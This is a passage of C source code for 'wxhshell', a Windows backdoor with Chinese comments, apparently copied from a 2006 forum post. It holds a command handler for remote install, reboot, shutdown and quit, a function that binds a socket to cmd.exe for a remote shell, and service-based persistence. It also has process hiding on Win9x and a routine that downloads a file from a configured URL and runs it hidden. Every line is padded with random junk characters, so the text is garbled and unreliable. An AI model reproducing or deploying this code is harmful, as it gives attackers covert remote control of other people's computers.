      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); c'"#q)  
    break; ,jAx%]@,I  
  } yb[{aL^4%  
  // 安装 SCgyp(  
  case 'i': { s.|!Ti!]  
    if(Install())  C/SapX  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); sGXp}{E9  
    else f1)HHUB  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); W/#KX}4  
    break; Kl4isGcr]  
    } 7h(HG?2Y  
  // 卸载 kJHr&=VO~  
  case 'r': { U* -% M  
    if(Uninstall())  ` 2Wl  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }9{dR4hD  
    else hfJrQhmE  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); b\kN_  
    break; h=uiC&B  
    } _cW_u?0X:  
  // 显示 wxhshell 所在路径 GwTT+  
  case 'p': { ^`l"'6  
    char svExeFile[MAX_PATH]; { z-5GH|  
    strcpy(svExeFile,"\n\r"); Hlz'a1\:O]  
      strcat(svExeFile,ExeFile); pw0Px  
        send(wsh,svExeFile,strlen(svExeFile),0); |Dl*w/n  
    break; }@3Ud ' Y  
    } w%>aR_G  
  // 重启 5x:Ift *  
  case 'b': { p>2||  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); j)g_*\tQ  
    if(Boot(REBOOT)) i58ZV`Rk`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); bRx2 c  
    else { ?|D$#{^  
    closesocket(wsh); \pjRv  
    ExitThread(0); Fg_?!zR>6  
    } K<$wz/\  
    break; /X(@|tk:  
    } @N,:x\  
  // 关机 `4q5CJ2  
  case 'd': { 43vGgGW  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); \4[c}l  
    if(Boot(SHUTDOWN)) )B -MPuB  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^VSt9 &  
    else { u):%5F/  
    closesocket(wsh); 2-"Lxe65f  
    ExitThread(0); HobGl0<y  
    } K]H"qG.K  
    break; qHC*$v#.V?  
    } SHXa{-  
  // 获取shell )RAv[U1  
  case 's': { SxLHFN]  
    CmdShell(wsh); t?%}hs\!  
    closesocket(wsh); ~WYE"(  
    ExitThread(0); 75hFyh;u  
    break; PK.h E{R  
  } {|Mxvp*Hg  
  // 退出 xoz*UA.  
  case 'x': { 8^P2GG'+-  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 323yAF  
    CloseIt(wsh); *'s2 K  
    break; GDo)6du  
    } c"%_]7  
  // 离开 Gg}LC+Y  
  case 'q': { ?j&~vy= T  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 1eE]4Z4Q  
    closesocket(wsh); JhMrm%  
    WSACleanup();  |(J ?#?  
    exit(1); cdek^/  
    break; uusY,Dt/9  
        } :N*q;j>  
  } y:i[~y  
  } 5fvUv"m  
+e\:C~2f28  
  // 提示信息 Q?Bj q>  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); G(7\<x:  
} o3TBRn,  
  } FM;;x(sg  
0f=N3)  
  return; >PTu*6Z  
} Y>dg10=  
r$3~bS$]  
// shell模块句柄 5x1%oC  
int CmdShell(SOCKET sock) X*>o9J45V  
{ Ivt)Eg  
STARTUPINFO si; U"%8"G0)  
ZeroMemory(&si,sizeof(si)); pxCGE[@`  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; P5 <85t  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; &t.>^7ELF  
PROCESS_INFORMATION ProcessInfo; My6]k?;}(  
char cmdline[]="cmd"; eLt Cxe  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); A\PV@w%A i  
  return 0; 93Ci$#<y  
} .2(@jx,[  
9/X v&<Tn  
// 自身启动模式 66"ZH,335  
int StartFromService(void)  1+i  
{ $CQwBsYb=  
typedef struct Fb<\(#t  
{ !Pi? !  
  DWORD ExitStatus; d,Dg"Z  
  DWORD PebBaseAddress; i_ODgc`H  
  DWORD AffinityMask; ! 4^L $  
  DWORD BasePriority; w3?t})PB&  
  ULONG UniqueProcessId; Kz*AzB  
  ULONG InheritedFromUniqueProcessId; iqv\ag  
}   PROCESS_BASIC_INFORMATION; k`4\.m"&  
E*T84Jh6  
PROCNTQSIP NtQueryInformationProcess; g!kRa.`u1  
-Bwu$$0  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; e,j? _p  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; L&gEQDPgq|  
k~9Ywf  
  HANDLE             hProcess; $qyM X[  
  PROCESS_BASIC_INFORMATION pbi; >G3 J3P(  
OTFu4"]M  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Ci#5@Q9#w  
  if(NULL == hInst ) return 0; S>ylAU;N  
.pu`\BW>  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Uf]Pd)D  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); [2j (\vC!  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); H R!>g  
j>Bk; f|  
  if (!NtQueryInformationProcess) return 0; ;|$]Qq  
I#6' NZ  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 2DBFXhP  
  if(!hProcess) return 0; 9q ,Jq B  
~PAbLSL*u  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; JU%yqXO  
v,.n/@s|X  
  CloseHandle(hProcess); 1.d9{LO[-  
:c/=fWM%  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ,E8>:-boL  
if(hProcess==NULL) return 0; Y"\T*lKa  
3<' Q`H>  
HMODULE hMod; 3L!&~'.Ro  
char procName[255]; nTtt$I@hW  
unsigned long cbNeeded; yNMwd.r[  
I3[RaZ2z{  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); "?0 G^zu  
xY}j8~k  
  CloseHandle(hProcess); ^5@"|m1  
8/kO9'.P  
if(strstr(procName,"services")) return 1; // 以服务启动 "s6_lhu=E7  
bg3jo1J  
  return 0; // 注册表启动 7R`ZTfD  
} 9kg>)ty@  
+5}T!r  
// 主模块 |(w#NE5  
int StartWxhshell(LPSTR lpCmdLine) ;<)-*?m9  
{ C"|_j?  
  SOCKET wsl; d@`:9 G3  
BOOL val=TRUE; /t6u"I~  
  int port=0; X1z0'gvh  
  struct sockaddr_in door; p YvF}8  
waq_d.  
  if(wscfg.ws_autoins) Install(); iU+,Jeu  
-Aym+N9  
port=atoi(lpCmdLine); U[ O!&:6  
V^5k> `A  
if(port<=0) port=wscfg.ws_port; OuIW|gIu0  
cz~11j#  
  WSADATA data; Ecl7=-y  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; " 7g8 d  
j\L$dPZ  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   \^W?   
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); exN#!& ;  
  door.sin_family = AF_INET; <EN[s  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); eS%6 h U b  
  door.sin_port = htons(port); "ZB`fNE  
^aM/BS\  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { EBE>&{%$^  
closesocket(wsl); ,^[37/S  
return 1; 0$h$7'a  
} 6]A\8Ty  
lfhKZX  
  if(listen(wsl,2) == INVALID_SOCKET) { DmA!+  
closesocket(wsl); "1TM  
return 1; qvE[_1QCc  
} w)SxwlW}  
  Wxhshell(wsl); _Ws k3AP  
  WSACleanup(); tJfN6  
g#nsA(_L  
return 0; 2Sd6b 2-  
Z"nuO\zH~  
} e7AI&5Eg{  
TK?N^ly  
// 以NT服务方式启动 tD482Sb=  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) R,Uy3N  
{ ?O^:j!C6  
DWORD   status = 0; TbM*?\7  
  DWORD   specificError = 0xfffffff; fBh|:2u  
`,=p\g|D  
  serviceStatus.dwServiceType     = SERVICE_WIN32; j'b4Sb s-f  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 3nGK674;z  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; %cjav  
  serviceStatus.dwWin32ExitCode     = 0; e' ;c8WF3E  
  serviceStatus.dwServiceSpecificExitCode = 0; .y/?~+N^  
  serviceStatus.dwCheckPoint       = 0; v333z<<S  
  serviceStatus.dwWaitHint       = 0; G2k71{jK  
tELnq#<6  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); I=I%e3GEm  
  if (hServiceStatusHandle==0) return; ,fL e%RP  
TyXOd,%zl  
status = GetLastError(); ;8kfgp M_  
  if (status!=NO_ERROR) 0tyU%z{RV  
{ hzVO.Q*  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; -<.NEV  
    serviceStatus.dwCheckPoint       = 0; O/@[VPf  
    serviceStatus.dwWaitHint       = 0; K?eo)|4)DB  
    serviceStatus.dwWin32ExitCode     = status; (jMp`4P  
    serviceStatus.dwServiceSpecificExitCode = specificError; `N,Jiw;bw  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); DzOJ{dF  
    return; SX8%F:<.  
  } Z)~4)71Y:  
.6(i5K  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; #r}c<?>Vw  
  serviceStatus.dwCheckPoint       = 0; MkG ->*  
  serviceStatus.dwWaitHint       = 0; -OAH6U9^  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); N|d@B{a(  
} LRgk9*@,  
L2tmo-]nw  
// 处理NT服务事件,比如:启动、停止 pc>R|~J{2  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 1Pc'wfj  
{ !%=k/|#  
switch(fdwControl) ymqhI\>y#  
{ s#sX r  
case SERVICE_CONTROL_STOP: / nRaxzf'  
  serviceStatus.dwWin32ExitCode = 0; \NRRN eu|  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; % M:"Ai5:  
  serviceStatus.dwCheckPoint   = 0; JJO"\^,;~  
  serviceStatus.dwWaitHint     = 0; nV1, ):kh  
  { T[J_/DE@  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); yK;I<8+>_  
  } X} 8U-N6)  
  return; O%{>Zo_<  
case SERVICE_CONTROL_PAUSE: 3+ 'w%I  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; "b;?2_w:E  
  break; {:cA'6f.b  
case SERVICE_CONTROL_CONTINUE: ,kI1"@Tu  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; b87d'# .  
  break; kE}I b4]J  
case SERVICE_CONTROL_INTERROGATE: Bf'(JJ7&N  
  break; /xnhHwJm  
}; 7Q&P4{hi0  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,.B8hr@H6-  
} vF 1$$7k  
>@o*v*25  
// 标准应用程序主函数 9EW 7,m{A  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ] a()siT  
{ %8/$CR  
P7!Sc  
// 获取操作系统版本 EWi@1PAZK  
OsIsNt=GetOsVer(); }K\_N]#6n  
GetModuleFileName(NULL,ExeFile,MAX_PATH); c@P,  
{zcjTJ=Zt8  
  // 从命令行安装 ?T"crX  
  if(strpbrk(lpCmdLine,"iI")) Install(); ;DOz92X94  
VrG|/2  
  // 下载执行文件 !.A>)+AK  
if(wscfg.ws_downexe) { g$qh(Z_s  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) nK[$ID  
  WinExec(wscfg.ws_filenam,SW_HIDE); -=Hr|AhE  
} P#C`/%$S  
*Bj G3Jc5  
if(!OsIsNt) { B^Q#@[T   
// 如果时win9x,隐藏进程并且设置为注册表启动 6lGL.m'Ra  
HideProc(); (`N/1}vk  
StartWxhshell(lpCmdLine); &W%TY:Da|  
} 8~bPoWP  
else @QofsWC  
  if(StartFromService()) _<8y^ymo  
  // 以服务方式启动 0#ph1a<  
  StartServiceCtrlDispatcher(DispatchTable); K':f!sZ&2  
else ! ^W|;bq  
  // 普通方式启动 }`X$ '  
  StartWxhshell(lpCmdLine); b]~M$y60q  
Hcpw [%(  
return 0; K|&y?w  
}
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只看该作者 1 发表于: 2006-10-10
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